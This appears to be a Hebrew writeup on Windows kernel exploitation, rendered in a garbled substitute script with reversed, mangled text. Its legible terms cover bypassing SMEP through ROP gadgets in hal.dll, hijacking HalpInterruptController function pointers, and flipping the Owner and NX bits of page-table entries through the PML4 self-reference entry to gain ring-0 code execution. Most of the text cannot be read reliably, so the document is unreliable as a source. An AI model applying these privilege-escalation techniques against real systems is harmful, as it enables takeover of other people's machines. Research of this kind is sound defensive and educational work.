 ˪˷ ˸ˣ˟ˣ˸˩ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˢ˟ ˶ˤ˰˧ˢ˪ ˪˩ˣˮ ,ˣˤˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ˷ ˰ˠ˶˟ .˪ˮ˶˵˟ROP Gadgets ˟-

hal.dll ˸ˬˠˣˡ ˸ˣ˷˪ˣ˥ ˪˴ˮ˪ˣ ,Stack Overflow  ˫˰ROP chain˩ˣ ,ˬ ˵ˬ˥˸ˢ˪ ˨-SMEP ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ .

-˟HalpInterruptController ˟ ˸ˣ˧˴˵ˮˣ˲ ˨ˣ˸˪ ˫˧˰˧˟˴ˬ ˶˲˯ˬ ˷˧-hal.dll: 

 

 ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩hal.dll  ˸˞ ˭ˣ˰˦˪ ,ˣ˪˪ˢ ˫˧˰˧˟˴ˬˢˬ ˡ˥˞ ˸˞ ˞ˣ˶˵˪ ˞ˣˢhal.dll ˟-

User-Mode ˣ˸˩˪ ˰˧˟˴ˬ ˰˧˟˴ˬˢ ˢ˧˪˞ ˢ˧˴˵ˮˣ˲ˢ ˭˧˟ ˷˶˲ˢˢ ˸˞ ˞ˣ˴ˬ˪ˣ ˪˷ ˯˧˯˟ˢ ˸˟hal.dll ˟-UM ,

 ˭ˣ˰˦ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˢ˧ˢ˧ ˪˟˵˸˧˷ ˨˶˰ˢ .ˣˮ˞˶˵˷ ˸˟ˣ˸˩ˢˬ ˷˶˲ˢˢ ˸˞ ˶˯˥˪ˣhal.dll .˪ˮ˶˵˟ 
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 ˫˧˰ˠˣ˷ˬ ˶˸ˣ˧ ˫˧˶˟ˡ ˸ˣ˷˰˪ ˪˩ˣˮ˷ ˭˟ˣˬ˩- ˢ ˪˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˣ˸ˣ˞˪ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˭ˣˣ˧˩ˬ-Heap  ˪˷

-sHAL˟ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˰˧˟˴ˬ ˨ˣ˶˰˪ ˪˩ˣˮ ,-hal!HalpInterruptController ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ,ˢˬˠˣˡ˪ .

˪ ˰˧˟˴ˬˢ-hal!HalpApicRequestInterrupt ˪˷ ˢ˲˪˥ˢ ˢˬˡˮ .˸ˣ˟˶ ˢ˟ ˷ˬ˸˷ˬ ˪ˮ˶˵ˢ˷ ˢ˧˴˵ˮˣ˲ ,

 ˸˟ˣ˸˩˟ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ0x41414141`41414141 ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰ ˸˩˧˶˰ ˸˶ˤ˰˟ ,

˪ ˣˮ˧˲˧ˬ˷-PFN 0x1: 

 

˪ ˞ˣ˶˵˪ ˢ˯ˮ˸ ˸˩˶˰ˬˢ˷ ˰ˠ˶˟ ,˸˰˩-hal!HalpApicRequestInterrupt ˸˟ˣ˸˩˪ ˞˶˵˸ ˞˧ˢ ,

0x41414141`41414141 ˡˣ˵ ˳˧˶ˢ˪ ˣˮ˪ ˶˷˲˞˸ ˢ˧˪˞ ˢ˞˧˶˵˷ ˸˟ˣ˸˩˟ ˣˤˢ ˸˟ˣ˸˩ˢ ˸˞ ˱˧˪˥ˢ˪ ˪˩ˣˮ .

˟ ˧˸ˣ˶˧˶˷-Ring-0ˬ ˭ˢ˧˪˞ ˶ˣˤ˥˪ ˪˩ˣˮ˷ ˸ˣ˟ˣ˸˩˪ ˸ˣˮˣ˧˰˶ ˪˰ ˟ˣ˷˥ˮˣ ˫˧˧˸˶˧˴˧ ˢ˧ˢˮ ,ˢˤ ˟˪˷˟ .-

Supervisor-Mode  ˫˰SMEP. 

ˢˮˣ˷˞˶ˢ ˢ˧˴˲ˣ˞ˢ  ˫ˡˣ˵ˢ ˱˧˰˯˟ ˢ˟ ˣˮ˪˰˲˷ ˣˤ˪ ˢˬˣˡ ˢ˦˧˷˟ ˪ˣ˰˲˪ ˞˧ˢ- ˟ ˷ˡ˥ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˢ˴˵ˮ-

Userland˟ ˳˧˶ˢ˪ ˢ˴˶ˮ˷ ˡˣ˵ˢ ˸˞ ˣ˧˪˞ ˵˧˸˰ˮ ,-Ring-0˪ ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˢˮ˷ˮ ,-

PAGE_EXECUTE_READˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ,-PTE ˢ ˦˧˟ ˸˞ ˢ˟˩ˮˣ ˣ˧˪˞ ˯˥˧˧˸ˬˢ-Owner ,˸˰˩ .

 ˸ˮ˧˥˟ˬSMEP ˧˷˷ ˡˣˬ˰˟ ˶˟ˣˡˬ˪ ˨˧-Kernelˬ ˣ˪ ˞ˣ˶˵˪ ˢ˧˰˟ ˢ˧ˢ˸ ˞˪˷ ˨˩ ,-Ring-0 ˶˟ˡˢ˷ ˭˟ˣˬ˩ .

 ˸˟ˣ˸˩˟ ˦˧˟ ˟˴ˬ ˧ˣˮ˧˷ ˸˷˪ˣ˥ ˸ˣ˥˲ˢ ˪˩˪ ˣ˞) ˸˧˸ˣ˶˧˶˷ˢ ˢ˟˧˸˩ˢ ˸˷˪ˣ˥ ˸˞ ˟ˣ˷ ˪˴ˮ˪ ˣˮ˸˧˞ˬ ˷˶ˣˡ

.(˸˧˸ˣ˶˧˶˷ 

 ˢ˧˧ˮ˷ˢ ˢ˧˴˲ˣ˞ˢ ˡˣˬ˰ˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˭˧˟ ˫ˣˠ˶˸ˢ ˸˞ ˰˴˟˪ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˨˩ ˪˰ ˸˩ˬ˸˯ˬ

˩ ˣˮ˞ ˣ˧˪˞˟ ˫˧˟˸ˣ-User-Mode˟ ˫˧˞˸ˬˢ ˨˶˰ˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˭˧˟˪ ,-Heap ˢ ˪˷-HAL ˟-KM 

 ˭ˣ˶˩˧ˤ ˞˴ˬˮˣ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˪ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˢˡ˟ˣ˰ˢ ˸˞ ˪˴ˮˮ .(ˢ˰ˣ˟˵ ˣˤˢ ˸˟ˣ˸˩ˢ ,˶ˣˬ˞˩˷ ˭ˣˣ˧˩ˬ)

ˢ ˸˞ ˣ˩ˣ˸˪ ˟ˣ˸˩ˮˣ ,˷ˣˬ˧˷˟ ˞˴ˬˮ ˞˪˷-Shellcode ˪ ˰˧˟˴ˬˢ ˸˞ ˯ˣ˶ˡˮ ,˸˰˩ .ˣˮ˪˷-

hal!HalpApicRequestInterrupt ˟ ˸˶˥˞ ˢ˧˴˵ˮˣ˲ ˪˩ ˣ˞)-hal!HalpInterruptController  ˣˮ˸˪ˣ˩˧˟˷

ˢ ˪˷ ˸˧˪ˮ˶˵ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˫˰ (ˢ˪ ˞ˣ˶˵˪ ˸˩˶˰ˬ˪ ˫ˣ˶ˠ˪-Shellcode  ˭ˣ˶˥˞ˢ ˟˪˷ˢ .ˣˮ˪˷

ˢ ˸˞ ˸ˣ˟˩˪ ˢ˧ˢ˧-NX-bit )XD-bit˟ (-PTE ˪ ˯˥˧˧˸ˬˢ-Heap ˢ ˪˷-Halˢ˷ ˭ˣˣ˧˩ˬ .-Heap ˪ ˨˧˧˷-Kernel ,

SMEP ˬ ˷ˣ˷˥˪ ˨˶˦˴ˮ ˞˪ˣ ,ˢˠ˧˶˥˪ ˫ˣ˶ˠ˧ ˞˪-DEP ˪ ˡˣˬ˰ˢ ˸˞ ˣˮ˩˲ˢ˷ ˭ˣˣ˧˩ˬ-Executable  ˧ˣ˟˧˩ ˫˰

ˢ ˦˧˟-NX˪ ˞˶˵˧ ˞ˣˢ ,ˢ˪ ˰˧˟˴ˬˢ ˸˞ ˣˮ˯˶ˡ˷ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˢ˯ˮ˧ ˪ˮ˶˵ˢ˷˩ .-Shellcode  ˭˟ˣˬ˩ .ˣˮ˪˷

.ˢ˷˪ˣ˥ˢ ˪˷ ˶ˤˣ˥ ˪ˣ˴˧ˮ ˷˶ˡˮ ,˭˞˩ ˫ˠ˷ 

˸˧˷˧˪˷ˢ ˢ˧˴˲ˣ˞ˢ  ˠ˧˴ˢ˪ ˧˸˶˥˟ˣ ,˸˧˪˞˧˶ ˞˪ ˡˣ˞ˬ ˫ˠ ˞˧ˢ ˪˟˞ ,˸˲˯ˣˮ ˢ˷˪ˣ˥ ˪˷ ˪ˣ˴˧ˮ ˸˷˶ˣˡ ˞˪

 ˶ˣ˴˧ˮ :ˢ˟˷˥ˬˢ ˸˞ ˸ˣ˶ˠ˪ ˸ˮˬ ˪˰ ˶˵˧˰˟ ˢ˸ˣ˞ROP-chain ˬ-hal.dll  ˸˞ ˢ˟˩ˬ˷SMEP  ˡˣ˵˪ ˶ˤˣ˥ˣ

 ˸˶ˤ˰˟ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˷ˬˬˮ ˦ˣ˷˲˷ ˣ˞) ˣˮ˪˷ROP-chain˟ ˷ˣˬ˧˷˟ ˞˴ˬˮ ˞˪˷ ˭ˣ˶˩˧ˤ˟ ˣ˸ˣ˞ ˫˵ˬˮ ,(-

Heap ˢ ˪˷-HAL  ˰˴˟˧˷ ˦'ˠˡ˞ˠ ˞˴ˬˮˣStack Pivoting ˢ ˶˞˷˪-ROP-chain  ˸˞ ˯ˣ˶ˡˮ .ˣˮˬ˵˧ˬ˷
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˪ ˰˧˟˴ˬˢ-hal!HalpApicRequestInterrupt  ˞ˣˢ ˢ˧˪˞ ˢ˧˴˵ˮˣ˲ˢ ˸˞˧˶˵˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ˷ ˶˥˞ ˰˧˟˴ˬ ˪˩ ˣ˞)

 ˰˴˟ˬ˷ ˦'ˠˡ˞ˠˢ ˪˷ ˸˟ˣ˸˩˟ (˰˧˟˴ˬPivoting ˸˷˶ˣˡ ˞˪ ˣˤˢ ˢ˦˧˷ˢ .ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠˮˣ ,

˪ ˣˮ˸˧˞ˬ ˰˴˟˪ ˶ˣˤ˰˧˷ ˦'ˠˡ˞ˠ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˞˪ ˪˟˞ ,˸˲˯ˣˮ ˢ˷˪ˣ˥ ˪˴ˮStack Pivoting ˰ˣˬ˷˪ ˥ˬ˷˞ .

 ˣˤˢ ˢ˦˧˷ˢ ˸˞ ˶˲˷˪ ˸ˣˮˣ˧˰˶J. 

˟ ˢ˧˴˵ˮˣ˲ ˪˷ ˢ˯˧˶ˡ˷ ˶˧˰ˮ-hal!HalpInterruptController ˪ ˫ˣ˶ˠ˸-Bugcheck  ˪˰˲ˣˬˣ ˢˡ˧ˬ˟CFG 

)Control Flow Guard.( 

 ˫˧ˮ˟ˬ ˯ˣ˶ˡ˪ ˫ˠ ˪˩ˣˮ˷ ˭˟ˣˬ˩˟ ˫˧ˮ˯˥ˣ˞ˬ˷-Heap ˢ ˪˷-HAL ˸ˣ˧˴˵ˮˣ˲ˢ ˸˴˧˶ ˪˰ ˰˧˲˷ˢ˪ ˨˩ˣ ,

 ˫ˠ ,˸˩˶˰ˬˢ ˪˷ ˢ˧ˣ˴˶ ˞˪ˣ ˢ˧ˣ˲˴ ˞˪ ˸ˣˠˢˮ˸ˢ˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ ,˸ˣ˥˲ˢ ˪˩˪ .˫˧ˮ˟ˬ ˫˸ˣ˞˟ ˸ˣ˷ˬ˸˷ˬ˷

 .˧˸ˣ˶˧˶˷ ˡˣ˵ ˳˧˶ˢ˪ ˪˩ˣˮ ˞˪ ˫˞ 

 ˪˰ ˸ˣ˪˰˟ ˸˥˧˵˪PML4 

 ,˶ˣ˩ˤ˩PXE  ˶˲˯ˬ0x1ED ˢ ˸˞ ˪˧˩ˬˣ ,˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˪ ˯˥˧˧˸ˬ-PFN  ˪˷PML4 ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ .

-sPXE  ˞˧ˢ ˢˤˢ0xFFFFF6FB`7DBEDF60 ˩ ˶ˡˠˣˬ)-PXE_SELFMAP ˟-ntddk.h:˶˟˧˞ˢ ˸˞ ˭˥˟ˮ .( 

 

˪ ˨˧˧˷ ˡˣˬ˰ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Supervisorˢ ˸˞ ˵˧˪ˡˮ ˫˞ ˪˟˞ ,-Owner-Bitˢˬ ˣ˧˪˞ ˸˷ˠ˪ ˪˩ˣˮ ,-

User ˸˶ˤ˰˟ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˸˞ ˢˬˡˮ .˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ ˢ˷˪ˣ˥ ˨˶˦˴ˮ˷ ˭˟ˣˬ˩ .WinDbg: 

 

˪ ˨˧˧˷ ˡˣˬ˰ˢ ˸˰˩-User ˪˷ ˭˩ˣ˸ˢ ˸˞ ˨ˣ˶˰˪ˣ ˞ˣ˶˵˪ ˪˩ˣˮ˷ ˨˩ ,PML4 ˟ ˳˶˷ ˡˣ˵ˬ-Ring-3 ˸ˮ˧˥˟ˬ .

˷ ˭ˣˣ˧˩ˬ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˸˞ ˪ˢˮ˪ ˪˩ˣ˧ ˭˧˧ˡ˰ ˞ˣˢ ,˪ˮ˶˵ˢ-SMEP  ˸˰ˮˣˬˢ˴˶ˢ ˪ ˨˧˧˷˷ ˡˣ˵ ˪˷-User ,

.ˢ˟˧˸˩/ˢ˞˧˶˵ ˸ˣ˶˦ˬ˪ ˢ˷˧ˠ ˞˪ˣ 

 ˸˞ ˣˮ˵˪ˡˢ˷ ˰ˠ˶ˬBit s-Owner ˨ˣ˸˪ ˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟ ˟ˣ˸˩˪/˞ˣ˶˵˪ ˪˩ˣˮ ,PML4˷ ˭ˣˣ˧˩ˬˣ ,-PML4  ˞ˣˢ

-sPage Level  ˪˷ ˧ˣ˲˧ˬˢ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷ ˣˮ˪ ˢ˵˧ˮ˰ˬ ˣ˩ˣ˸˟ ˸˧˸ˣ˶˧˶˷ ˢ˞˧˶˵/ˢ˟˧˸˩ ˸˪ˣ˩˧ ,˭ˣ˧˪˰ˢ˪˩ 

˩ ˢ˦˧˪˷ .ˣˮ˪˷ ˨˧˪ˢ˸˟ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˶˟ˡ ˪˩ ˰˴˟˪ ˣˮ˪ ˶˷˲˞˸ˣ ,˟˶ ˥ˣ˩ ˣˮ˪ ˢ˵˧ˮ˰ˬ ˣˤ

 ˣˮ˥ˣˬ˟ ˸ˣ˪˰ˢ˪ ˪˩ˣˮ˷- ˟ ˧˸ˣ˶˧˶˷ ˡˣ˵ ˸˴˶ˢ-Ring 0  ˟˥˶ˬˢ ˪˩ ˪˷ ˧ˣ˲˧ˬˢ ˪˰ ˫˧˦˪ˣ˷ ˣˮ˥ˮ˞)

 ˸ˣ˟˩˪ ˪˩ˣˮ˷ ˢ˩˩ ,˸ˣ˟ˣ˸˩ˢnx-bit  ˪˷PTE ˢ ˫˰ ˵˥˷˪ˣ ,ˣˢ˷˪˩-Owner Bit  ˪˩ ˸˞˧˶˵ ,(˨˶ˣ˴ˢ ˸ˡ˧ˬ˟

 ˭ˣ˶˩˧ˤˢ- ˴˧˪ ˪˩ˣˮ) ˸˩˶˰ˬ ˭ˣ˶˩˧ˤ ˪˪ˣ˩˪ ˢ˷˧ˠˮ˷ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˪ ˣ˲ˬ˧˷ ˫˧˲˧ˣˤˬ ˧ˣ˲˧ˬ ˧ˮ˟ˬ ˶ˣ-User 
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 ˧ˮ˟ˬ ˫˰ ˵˥˷˪ ˨˶˦˴ˮ ˞˪ ˨˩ˣ ,ˢ˧˪˞ ˸˲ˣˬˬ ˸˩˶˰ˬˢ ˪˷ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˷ ˸˧ˤ˧˲ ˸˟ˣ˸˩ ˢ˸ˣ˞ ˸˞

˟ ˭˩˸˯ˢ˪ˣ ˫˧˧˶ˣ˵ˬˢ ˧ˣ˲˧ˬˢ-Bugcheck ˸ˣ˧˴˵ˮˣ˲ ˸˩˧˶˰ ,˸˩˶˰ˬˢ ˭ˣ˶˩˧ˤ˟ ˫˧˯ˣ˲ˡˣ ˫˧ˮ˟ˬ ˷ˣ˲˧˥ ,(

ˢ˪" ˪˩ˣˮ ,˶ˣˬ˞˩) ˸ˣ˧˪ˮ˶˵ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˢ˲ˣˬˬ ˢ˧ˢ˧˷ ˷ˡ˥ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˧ˮˡ˧ ˭˲ˣ˞˟ "˸ˣ˴˵

 ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ ˪˩˷ ˷˧ˠˡˮ .ˡˣ˰ˣ ,(˨ˣ˶˰˪ ˢ˴˶ˮ ˢ˸ˣ˞ ˸˧˪ˮ˶˵ˢ ˢ˧˴˵ˮˣ˲ˢ˞˪  ˢ˷˪ˣ˥ ˪˷ ˪ˣ˴˧ˮ ˸ˣ˷˶ˣˡ

ˢ ˸˞ ˵˧˪ˡˮ˷ ˵˶ ˞˪˞ ,˸˲˯ˣˮ-Owner-Bit ˟-Self-Ref Entry ˟-PML4. 

ˣ˲ˬ˪ ˸ˮˬ ˪˰ ˢˤ˩ ˟˴ˬ ˪˴ˮ˪ ˪˩ˣˮ ˡ˴˧˩ ˶˧˟˯ˮ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˸ˬ˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˣˮˬ˴˰˟ ˸

 ˸˟ˣ˸˩ˢˬ ˞ˣ˶˵˪/˟ˣ˸˩˪ ˸ˮˬ ˪˰ ˭˩ˬ ˶˥˞˪ ˪˴ˮ˪ ˪˩ˣˮ ˣˮ˧˲˧ˬ˷ ˸˟ˣ˸˩ˢ ˸˞ .˸˶˥˞ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩

˟ ˳˶˷ ˡˣ˵ˬ ,˸˩˶˰ˬ˪ ˨˧˧˷ ˶˷˞ ˰ˡ˧ˬ ˞ˣ˶˵˪ˣ ˨ˣ˶˰˪ ˪˩ˣˮ ˨˩ˣ ,ˢ˧˧ˮ˷ˢ ˸˟ˣ˸˩ˢ ˪˷ ˸˧ˤ˧˲ˢ-User-

Mode. 

˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˧˸˷˷ ˸ˮˬ ˪˰ ,˶ˣ˩ˤ˩ˢ ˪˰ ,˸˧ˤ˧˲ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˣ˟˸˩˧ ˸ˣ˧˪˞ˣ-PTE  ˸˞ ˪˧˩ˢ˪ ˸ˣ˟ˣ˸˩ˢ ˪˷

 ˣ˸ˣ˞PFNˢ˷ ˭ˣˣ˧˩ˬ .-PTE ˟ ˳˶˷ ˡˣ˵˪ ˷˧ˠˮ ˞˪ ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩ ˪˷-Ring-3 ˰˴˟˪ ˨˶˦˴ˮ ,Page-Walk 

ˢ ˸˞ ˸ˣ˲ˬ˪ ˢˠ˶ˡˢ˟ˣ--PFN ˫˧˧˦ˮˣˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˪˷ ˫˧- ˬ-PML4 ˢ ˡ˰ˣ-PT -  ˸˞ ˸ˣ˲ˬ˪ ˟˪˷ ˪˩˟ˣ

˷ˬ˪ ˢ˷˧ˠˮˢ ˸˟ˣ˸˩ˢ˪ ˷ˬ˸-PFN ˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢˬ (˟ˣ˸˩˪ ˫ˠˣ) ˞ˣ˶˵˪ ˪˩ˣˮ ,˱ˣ˯˟˪ .˞˟ˢ ˢˮ˟ˬˢ ˪˷ ˸

ˢ ˪˷-PTE .˧ˣ˲˧ˬˢ ˨˧˪ˢ˸ ˸˞ ˫˧˧˯˪ˣ ,˷ˬ˸˷ˬ˪ ˸ˣ˲ˬ˪ ˢ˴˶ˮ˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˪˷ 

 ˞ˣ˴ˬ˪ ˢ˴˶ˮ ,ˢ˪˧˥˸PXE ˢ ˸˞ ˣ˧˪˞ ˵˧˸˰ˢ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ,˧ˣˮ˲-PXE  ˵˧˸˰ˢ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˸˟ˣ˸˩ˢ ˪˷

 ˪˰ ˶˟ˣ˰˷ ,˦ˣ˷˲ ˡˣ˵ ˰˦˵ ˸˶ˤ˰˟ ˸˞ˤ ˰˴˟ˮ .ˢ˪˷ ˧ˣ˲˧ˬˢ ˸˞0x100 s-PXE- ˸˞ ˞˴ˣˬˣ ˫˧ˮˣ˶˥˞ˢ ˫˧

 ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˪˴˧ˮ˷ ˶˥˞˪ ˳ˣ˶˪ ˟˧˧˥ ˢˤ˩ ˡˣ˵ ˰˦˵˷ ˭˟ˣˬ˩ .˷ˣˬ˧˷˟ ˞˴ˬˮ ˞˪˷ ˫ˢ˧ˮ˧˟ˬ ˭ˣ˷˞˶ˢ

ˢ ˦˧˟ ˸˞ ˢ˵˧˪ˡˢ˷-Owner ˟-Self-Ref Entry  ˪˷PML4 ˞˪ ˸˶˥˞ ,ˢ ˸˞ ˞ˣ˶˵˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ-PXE- .˫˧

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˢ˶˧ˤ˥ˬ ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ-PXE ˬ ˪˥ˢ ,˭ˣ˷˞˶ˢ ˧ˣˮ˲ˢ-PXE  ˶˲˯ˬ0x100: 

 

˟ ˷ˬ˸˷ˮ-PXE ˩ ˢˤˢ-PTE ˪ ˰˧˟˴ˢ˪ ˣ˪ ˫ˣ˶ˠˮ ˟˪˷ ˪˩˟ˣ ,ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˶ˣ˟˰-PFN  ˧ˣ˲˧ˬˢ ˶˟˧˞ ˪˷

˪ ˢ˪˧˥˸) ˞˟ˢ ˟˪˷˪ ˨˧˷ˬˢ˪ ˪˧˟˷˟ ˨˶˦˴ˮ˷-PFN ˢ ˪˷-PPE ˪ ˩"˥˞ ,˸˟ˣ˸˩ˢ ˪˷-PFN ˢ ˪˷-PDE 

ˢ ˪˷ ˨˶˰˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭ˣˣ˧˩ˬ .(ˢ˞˪ˢ ˨˩ˣ ,˸˟ˣ˸˩ˢ ˪˷-PXE ˟ ˶˟˧˞ ˪˩˪ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˧˩)-PML4 ,(

˩ ˷ˬ˷ˬ ˞ˣˢ˷ ˭ˣˣ˧˩ˬˣ-PTE  ˞ˣ˶˵˪ˣ ˧˦ˮˣˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˶˟˧˞ ˸˞ ˞ˣ˴ˬ˪ ˟˪˷ ˪˩˟ ˪˩ˣˮ ,ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˪˷

ˢ ˸˞-PFN ˩˷ˮ ˭˩ˬ ˶˥˞˪ ,ˣ˪˷ (˫˧˪ˠˡˢ ˶˞˷ˣ)ˢ ˸˞ ˟˸-PXE .ˢ˪˧˪˥ ˶ˤˣ˥ˣ ,ˣˮ˞˴ˬ˷ 
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ˢ ˢ˶ˣ˟˰ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˟˷˥˪ ˸ˮˬ ˪˰-PXE ˩ ˷ˬ˷˧ ˣˮ˪˷-PTE:˞˟ˢ ˡˣ˵ˢ ˰˦˵˟ ˷ˬ˸˷ˮ , 

 

 ˸˧ˮˣˮ˵ ˸˟ˣ˸˩˪ ˢ˟˥˶ˢˢ ˸˞ ˱˧˯ˣˮ ,ˢ˪˧˥˸ :˟ˣ˷˧˥ˢ ˸˞ ˶˧˟˯ˮ- 0xFFFF˟ ˷ˬ˸˷ˮ ,˭˩ˬ ˶˥˞˪ .-Self-

Ref Entry ˢ ˶ˣ˸˟-PXE ,PPE x-PDE ˥˞˪ .ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˪˷ˢ ˪˷ ˯˵ˡˮ˧˞˟ ˷ˬ˸˷ˮ ,˭˩ˬ ˶-PXE  ˧ˣˮ˲ˢ

ˢ ˪˷ ˯˵ˡˮ˧˞˩-PTE  ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˪˷-  ˢ˧˴˵ˮˣ˲ˢˬ ˶ˣˤ˥˸˷ ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷ ˡˣˬ˰˟ ˭ˣ˶˩˧ˤ˪ ˢ˷˧ˠ ˨˩

˪ ˢ˷˧ˠ ˫˴˰˟ ˢ˧ˢ˸-PFN ˟ ˶ˣˬ˷ˢ-PXE .ˣˮ˦˪˸˷ˢ ˣ˧˪˰ 

ˢ ˸˞ ˢ˲ˬ˸ ˶˷˞ ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟ ˣ˪˪ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˧˸˷˪ ˞˶˵ˮ-PFN  ˸ˬ˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˷

˪ˬ ˢ˧˪˞ ˸˷ˠ˪ ˭˸˧ˮ˷ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩-Ring-3:˞˟ˢ ˭˲ˣ˞˟ , 

 

:˶˸ˣ˧ ˭˟ˣˬ ˢ˧ˢ˧ ˭ˣ˧ˡˢ ˨˷ˬˢ˷ ˸ˮˬ ˪˰ ˭˸ˣ˞ ˶˧ˡˠˮ ,˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˶˲˯ˬ ˫˰ ˫˧˵˯˰˸ˬ ˣˮ˞˷ ˭ˣˣ˧˩ˬ 

1. ˶ˣ˵ˬˢ ˸˟ˣ˸˩ - ˪ ˸˩˧˧˷ˢ ˸˟ˣ˸˩ ˢ˧ˢ˸ ˟ˣ˶˪ .˦ˮˬˣˠ˶˞˩ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˸˟ˣ˸˩ˢ-Supervisor ,

 ˸˟ˣ˸˩˪ ˸ˣ˲ˬ˪ ˢ˴˶ˮ˷˪ ˸˩˧˧˷ˢ-User"˵˯˰˸ˢ˪" ˪˩ˣˮ˷ ˸ˮˬ ˪˰ , .(ˢ˞˧˶˵/ˢ˟˧˸˩ ˸ˣ˶˦ˬ˪) ˢ˸˧˞ 

2. ˡ˰˧ˢ ˸˟ˣ˸˩ - ˬ ˢ˶ˤ˥˷ ˸˟ˣ˸˩ˢ-useAsPte˟ ˸˷ˬ˸˷ˬ ˶˷˞ ˸˟ˣ˸˩ .-PXE  ˸˶ˤ˰˟ ˣˮ˞˴ˬ˷

getAvailablePxe ˢ ˶ˣ˸˟-PTE ˢˬ ˞ˣ˶˵˪ ˣˮ˪ ˸˶˷˲˞ˬ ˨˩ˣ ,ˢ˪˷-PFN ˢ ˣ˧˪˞-PXE  ˫˧˦˪ˣ˷ ˣˮ˞˷

˪˰ ˣˤˢ ˸˟ˣ˸˩˟ ˶ˤ˰˧ˮ .˰˧˟˴ˬ ˣ˪˷ ˨˶˰˟ ˢ ˸˞ ˰˴˟˪ ˸ˮˬ-Page-Walk ˢ˸ˣ˞ ˶˧ˤ˥ˮ ˱ˣ˯˟˪ˣ ,

ˢ ˶˷˞˩ ˢ˧˴˵ˮˣ˲ˢˬ-PTE ˢ ˸˞ ˪˧˩ˬ ˢ˪˷-PFN ˢ ˪˧˩ˬ˷-PTE .˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷ 

